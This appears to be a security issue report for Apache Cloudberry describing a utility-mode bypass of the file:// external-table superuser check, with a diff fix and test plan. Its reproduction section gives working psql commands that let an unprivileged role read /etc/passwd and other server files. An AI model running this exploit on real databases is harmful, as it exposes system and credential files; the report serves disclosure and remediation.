[Bug] Non-superuser can bypass the external-table protocol privilege check via utility-mode connections

### Apache Cloudberry version

Affected: 2.1.0-incubating and earlier, and current `main` (verified on `c781604c5ba`).

### What happened

The privilege check that enforces "only a superuser may create a `file://` external table"
is skipped entirely when the session runs in utility mode.

In `gpcontrib/gp_exttable_fdw/option.c`, `gp_exttable_permission_check()` gates the whole
check block on the dispatch role:

```c
if (!is_superuser && Gp_role == GP_ROLE_DISPATCH)
{
/*
* - Never allow 'file' exttables if not superuser.
* - Allow http, gpfdist or gpfdists tables if pg_auth has the right
* permissions for this role and for this type of table
*/
is_valid_locationuris(location_list, is_writable);
...
}
```

Under `Gp_role == GP_ROLE_UTILITY` the condition is false, so neither the `file://`
superuser restriction nor the `gpfdist`/`gpfdists` `pg_authid` privilege checks
(`rolcreaterexthttp`, `rolcreaterextgpfd`, `rolcreatewextgpfd`) ever run.

The role is reachable by an unprivileged user: `gp_role` is a `PGC_BACKEND` GUC, and
its validator `check_gp_role()` (`src/backend/cdb/cdbvars.c`) has no superuser gate —
it only forbids *upgrading* an already-assigned role. A client can therefore request
utility mode in the startup packet (`PGOPTIONS='-c gp_role=utility'`) as an ordinary
login role.

The resulting table is a normal catalog entry. Once created in a utility-mode session,
it can be read from an ordinary dispatch session, so the attacker gets arbitrary
server-side file reads with the privileges of the OS account running the database
(`/etc/passwd`, `pg_hba.conf`, `postgresql.conf`, key material, WAL and data files, …).

### What you think should happen instead

The `file://` protocol restriction — and the `pg_authid` protocol privileges for
`gpfdist`/`gpfdists` — are security boundaries and must hold in every connection mode
a user can reach. `gp_role` is a transport/topology setting, not an authorization
level, so it must not be able to turn a privilege check off.

### How to reproduce

```bash
# 1. As a superuser, create an unprivileged login role.
psql -p 7000 -c "CREATE ROLE lowpriv LOGIN;"

# 2. Connect as that role in utility mode and create a file:// external table.
PGOPTIONS='-c gp_role=utility' psql -p 7000 -U lowpriv -d postgres <<'SQL'
SELECT current_setting('gp_role'); -- utility
SELECT current_setting('is_superuser'); -- off
CREATE READABLE EXTERNAL TABLE etc_passwd (data text)
LOCATION ('file://localhost/etc/passwd') FORMAT 'TEXT';
SQL
# Expected: ERROR: must be superuser to create an external table with a file protocol
# Actual: CREATE EXTERNAL TABLE

# 3. Read it back from an ordinary (dispatch) session as the same unprivileged role.
psql -p 7000 -U lowpriv -d postgres -c "SELECT * FROM etc_passwd;"
```

The same bypass applies to `gpfdist://` / `gpfdists://` locations for a role that lacks
`rolcreaterextgpfd`, and to the `http://` protocol for a role that lacks `rolcreaterexthttp`.

### Operating System

Rocky Linux 9.6 (Blue Onyx). Not OS-specific.

### Anything else

**Impact.** CVSS v3.1 **6.5 Medium** —
`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`. Reproducible every time; no race, no special
cluster configuration. This is not by design: the superuser-only restriction on
`file://` is documented and is simply not reached in utility mode.

**Proposed fix.** Run the check in utility mode as well:

```diff
- if(!is_superuser && Gp_role == GP_ROLE_DISPATCH)
+ if(!is_superuser &&
+ (Gp_role == GP_ROLE_DISPATCH || Gp_role == GP_ROLE_UTILITY))
```

`GP_ROLE_EXECUTE` is deliberately left out. That role is only ever set by the internal
dispatch handshake and cannot be forged through `PGOPTIONS`, so excluding it closes the
hole without re-validating DDL on the segments that the coordinator has already checked.

**Test coverage.** A regression case belongs in
`src/test/isolation2/input/external_table.source`: from a `-1U` (utility) session,
`SET SESSION AUTHORIZATION` to a non-superuser role and assert that both a `file://`
and an unprivileged `gpfdist://` `CREATE READABLE EXTERNAL TABLE` are rejected, then
assert nothing was created in `pg_class`.

**Credit.** Reported to `security@apache.org` by Geo (`cve@sageby.com`); triaged and
accepted by the Apache Cloudberry PMC. Back-ports to affected release branches to follow.

- [x] Yes, I am willing to submit a PR!

Start with gpcontrib/gp_exttable_fdw/option.c and review gp_exttable_permission_check(), then inspect check_gp_role() in src/backend/cdb/cdbvars.c to understand the reachable utility-mode path. Add regression coverage in src/test/isolation2/input/external_table.source for utility-mode file:// and unprivileged gpfdist:// creation; done means both are rejected and no relation appears in pg_class.

Written by the indexing model from the issue text.